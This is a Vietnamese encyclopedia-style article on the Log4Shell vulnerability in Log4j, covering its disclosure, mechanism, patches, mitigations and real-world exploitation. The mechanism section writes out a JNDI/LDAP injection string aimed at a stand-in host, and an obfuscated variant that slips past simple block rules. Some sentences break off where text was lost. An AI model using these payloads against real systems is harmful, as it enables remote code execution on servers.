✨Log4Shell
Log4Shell (CVE-2021-44228) là một lỗ hổng zero-day có liên quan đến phương thức tấn công thực thi mã từ xa tồn tại trong thư viện Log4j, một thư viện ghi nhật trình phổ biến cho ngôn ngữ lập trình Java. Lỗ hổng này tồn tại mà không được phát hiện từ năm 2013; vào ngày 24 tháng 11 năm 2021, Chen Zhaojun, một thành viên của đội ngũ an ninh của công ty Alibaba Cloud, đã thông báo kín về lỗ hổng cho đơn vị phát triển và chủ quản của dự án Log4j là Quỹ Phần mềm Apache.
Lỗ hổng được biết đến với cái tên "Log4Shell" trước khi được gán mã định danh CVE chính thức vào ngày 10 tháng 12 năm 2021; tên gọi này được thành viên LunaSec Free Wortley đặt để sử dụng trong việc theo dõi. Log4Shell được Apache chấm điểm 10 trên thang đo độ nghiêm trọng CVSS (Common Vulnerability Scoring System) - số điểm cao nhất trên thang đánh giá này. Lỗ hổng này rất dễ khai thác, và đã có khả năng ảnh hưởng đến hàng trăm triệu thiết bị.
Log4Shell lợi dụng việc thư viện Log4j cho phép gửi yêu cầu đến các máy chủ LDAP và JNDI bất kì để cho phép tin tặc chạy mã Java trên máy chủ hoặc máy tính cá nhân của nạn nhân, hoặc làm rò rỉ thông tin nhạy cảm trên các thiết bị này. Các dịch vụ thương mại bị ảnh hưởng bao gồm Amazon Web Services, Cloudflare, iCloud, Minecraft: Java Edition, Steam, Tencent QQ, và nhiều dịch vụ khác. Theo Wiz và EY, lỗ hổng này ảnh hưởng đến 93% các môi trường điện toán đám mây doanh nghiệp.
Việc lỗ hổng này được công bố đã nhận được nhiều phản ứng mạnh từ các chuyên gia an ninh mạng. Công ty an ninh mạng Tenable cho rằng lỗ hổng này là "lỗ hổng lớn nhất, nguy hiểm nhất từ trước đến nay," Ars Technica nói rằng Log4Shell là "lỗ hổng có thể là nguy hiểm nhất lịch sử," và The Washington Post báo rằng những lời mô tả về lỗ hổng của các chuyên gia an ninh "gần như đang mô tả lại một ngày tận thế." Hiện tại thư viện này được sử dụng rộng rãi trong các ứng dụng viết bằng Java, đặc biệt là các ứng dụng dùng trong môi trường doanh nghiệp. Tom Kellermann, một thành viên của Ủy ban An ninh mạng của Tổng thống Hoa Kỳ Barack Obama, đã gọi Apache là "một trong những cây trụ lớn nâng đỡ cây cầu kết nối giữa hai thế giới của các ứng dụng và môi trường máy tính." cho phép tải về dữ liệu đối tượng dưới dạng URL từ một máy chủ tương thích trong mạng cục bộ hoặc ở bất kỳ đâu trên Internet.
Khi ghi một xâu vào nhật trình với thiết lập mặc định, Log4j 2 thay thế kí tự đối với các biểu thức có cú pháp ${tiền-tố:tên}
. Một biểu thức tương thích là ${jndi:
; bằng cách tra cứu dữ liệu thông qua LDAP, có thể truy vấn thông tin từ một URL bất kì và nạp thông tin này dưới dạng đối tượng Java. Ví dụ, xâu ${jndi:ldap://example.com/file}
sẽ nạp dữ liệu từ URL tương ứng nếu máy chủ kết nối với Internet. Bằng cách nhập một xâu dữ liệu được ghi lại trong nhật trình, tin tặc có thể nạp và chạy mã độc được lưu tại một URL công khai. Ngoài LDAP ra, các giao thức JDNI khác có thể bị khai thác khác bao gồm LDAPS (phiên bản bảo mật cao hơn của LDAP), Java Remote Method Invocation (RMI), hệ thống phân giải tên miền (DNS), và Internet Inter-ORB Protocol (IIOP).
Vì các yêu cầu HTTP thường được ghi nhật trình, một hướng tấn công thường gặp là đặt xâu chứa mã độc trong đường dẫn URL của yêu cầu hoặc vào một trường khác, ví dụ như trường User-Agent
. Những biện pháp khắc phục ban đầu bao gồm phương pháp chặn các yêu cầu có nội dung có thể chứa mã độc, ví dụ như xâu ${jndi
. Những biện pháp dưới dạng so khớp xâu cơ bản này có thể bị vô hiệu bằng cách làm rối (obfuscate) yêu cầu trước khi gửi: xâu ${${lower:j}ndi
sẽ được biến đổi thành ${jndi
sau khi kí tự j
được biến đổi thành chữ thường. Kể cả nếu nội dung nhập vào không được ghi vào nhật trình ngay lập tức, dữ liệu có thể về sau được ghi lại trong quá trình xử lý dữ liệu, và khi đó nội dung của yêu cầu sẽ được chạy. Lỗ hổng được khắc phục bằng cách giới hạn các loại máy chủ và giao thức có thể sử dụng cho việc tra cứu thông tin. Các nhà nghiên cứu đã phát hiện một lỗ hổng liên quan khác; lỗ hổng CVE-2021-45046 cho phép chạy mã từ trong mạng cục bộ hoặc từ xa trong một số thiết lập không mặc định; lỗ hổng này được khắc phục ở bản 2.16.0 bằng cách vô hiệu hóa toàn bộ các chức năng sử dụng JNDI và các chức năng tra cứu tin nhắn khác. Thêm hai lỗ hổng nữa được phát hiện: lỗ hổng CVE-2021-45105 cho phép tấn công từ chối dịch vụ, được khắc phục ở bản 2.17.0, và lỗ hổng thực thi mã từ xa khó khai thác CVE-2021-44832, được khắc phục ở bản 2.17.1. Đối với các phiên bản cũ hơn, cách khắc phục cả hai lỗ hổng là xóa lớp org.apache.logging.log4j.core.lookup.JndiLookup
khỏi classpath; Một số các phương pháp và công cụ nhằm phát hiện các phiên bản Log4j còn mắc phải lỗ hổng trong các thư viện Java đã được biên dịch và xây dựng đã được tạo ra.
Với các trường hợp không thể cập nhật được phần mềm vì các lý do như thiếu tài nguyên hoặc phần mềm do bên thứ ba quản lý, giải pháp thường được sử dụng là lọc luồng dữ liệu xuất ra từ các hệ thống bị ảnh hưởng; phương pháp này được NCC Group và Trung tâm An ninh Mạng Quốc gia của Vương quốc Anh khuyên dùng, và được coi là ví dụ của phương pháp "bảo mật bằng chiều sâu" (defense in depth). Các cuộc thử nghiệm với các hệ thống tường lửa có khả năng lọc luồng dữ liệu xuất ra từ các phiên bản có lỗ hổng của thư viện Log4j và JRE đã chứng minh được sự hiệu quả của phương pháp trên.
Khai thác
Tin tặc có thể thông qua Java mà chiếm quyền kiểm soát các thiết bị mắc phải lỗ hổng. Check Point đã theo dõi được hàng triệu vụ tấn công vào những ngày sau khi lỗ hổng được công bố; một số nhà nghiên cứu phát hiện được hơn 100 vụ tấn công được thực hiện mỗi phút, trong đó hơn 40% hệ thống mạng máy tính của doanh nghiệp trên toàn thế giới bị tấn công.
Theo CEO Cloudflare Matthew Prince, đã có bằng chứng của việc khai thác và/hoặc truy tìm các thiết bị bị ảnh hưởng từ sớm nhất là ngày 1 tháng 12, 9 ngày trước khi lỗ hổng được công bố. Theo công ty an ninh mạng Grey Noise, một số địa chỉ IP đã quét dữ liệu trang web trên diện rộng để truy tìm các máy chủ bị ảnh hưởng bởi lỗ hổng; một số botnet cũng bắt đầu quét tìm lỗ hổng này, trong đó có Muhstik vào ngày 10 tháng 12, cùng với Mirai và Tsunami. Nhóm chuyên tung mã độc tống tiền Conti bị phát hiện đang khai thác lỗ hổng này vào ngày 17 tháng 12. Trong một cuộc họp tại Nhà Trắng, tầm quan trọng đối với an ninh quốc gia của việc bảo trì về mặt an ninh đối với các phần mềm mã nguồn mở - một công việc phần lớn do một số ít tình nguyện viên đảm nhận - được nhấn mạnh. Mặc dù một số dự án phần mềm nguồn mở thường có nhiều người theo dõi, nhiều dự án khác có rất ít hoặc không có người đảm nhận vai trò đảm bảo an ninh.
Văn phòng An toàn Thông tin Liên bang Đức (Bundesamt für Sicherheit in der Informationstechnik - BSI) đã đặt Log4Shell vào mức độ nguy hiểm cao nhất trong thang đo của tổ chức này. Tổ chức này cũng báo rằng đã có một số vụ tấn công diễn ra thành công và hiện vẫn khó được phạm vi ảnh hưởng của lỗ hổng này. Trung tâm An ninh Mạng Quốc gia Hà Lan (NCSC) đã bắt đầu công bố danh sách phần mềm bị ảnh hưởng.
Trung tâm An ninh Mạng Canada (CCCS) đã kêu gọi các tổ chức nên có động thái khắc phục ngay lập tức. Cơ quan Thuế vụ Canada đã tạm ngừng dịch vụ trực tuyến sau khi nhận được tin báo về lỗ hổng, trong khi Chính phủ Quebec đóng gần 4.000 trang web với mục đích "phòng ngừa". Bộ Quốc phòng Bỉ đã phải vô hiệu hóa một phần hệ thống mạng sau khi trở thành mục tiêu của một vụ tấn công.
Bộ Công nghiệp và Công nghệ thông tin Trung Quốc đã tạm thời đình chỉ quan hệ đối tác tình báo an ninh mạng đối với Alibaba Cloud trong sáu tháng vì không thông báo trước với chính phủ về lỗ hổng.
Doanh nghiệp
Nghiên cứu của Wiz và EY
Công ty UKG, một trong những doanh nghiệp lớn nhất trong lĩnh vực quản trị nhân sự và lao động, đã trở thành mục tiêu của một vụ tấn công mã độc tống tiền nhắm đến các doanh nghiệp lớn. UKG cho biết rằng tổ chức này không tìm thấy bằng chứng cho rằng vụ tấn công này sử dụng Log4Shell, nhưng nhà phân tích Allan Liska từ công ty an ninh mạng Record Future cho rằng có thể có mối liên hệ giữa vụ tấn công và lỗ hổng này. Công ty Check Point Software Technologies đã mô tả tình hình lúc đó là "một đại dịch không gian mạng" trong một bài phân tích chi tiết và cho rằng nguy cơ thiệt hại tiềm ẩn là "không kể xiết". Một số lời bình luận được đưa ra ban đầu đã phóng đại số lượng các thư viện bị ảnh hưởng, gây ra nhiều trường hợp báo cáo giả; trong đó, nổi bật nhất là trường hợp thư viện "log4j-api" bị cho là đã mắc lỗ hổng, trong khi nghiên cứu về sau đã chỉ ra rằng chỉ có thư viện chính "log4j-core" bị ảnh hưởng.
Tạp chí Wired đưa tin rằng mặc dù nhiều lỗ hổng bảo mật trước đây đã bị "cường điệu hóa", "lỗ hổng Log4j xứng đáng với sự cường điệu hóa này vì nhiều lý do".